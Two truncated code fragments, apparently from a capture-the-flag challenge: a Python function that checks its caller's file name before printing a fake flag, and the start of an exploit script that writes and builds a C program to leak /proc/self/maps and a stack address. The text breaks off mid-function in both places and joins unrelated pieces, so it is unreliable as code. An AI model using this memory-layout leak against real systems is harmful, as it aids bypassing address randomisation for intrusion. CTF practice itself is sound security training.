key-moon

import sys

def _getflag():
  orig_file = sys._getframe(1).f_code.co_filename
  if orig_file != __file__:
    print('who are you...?')
    exit(1)
  print("0nepts{fakeflag}")

def getflag():

key-moon

import subprocess

open("/tmp/exp.c", "w").write('''
#include<stdio.h>
char buf[10000];
int main() {
  void* val;
  fread(buf, 1, 10000, fopen("/proc/self/maps", "r"));
  puts(buf);
  printf("%llx stackvar\\n", (unsigned long long)&val);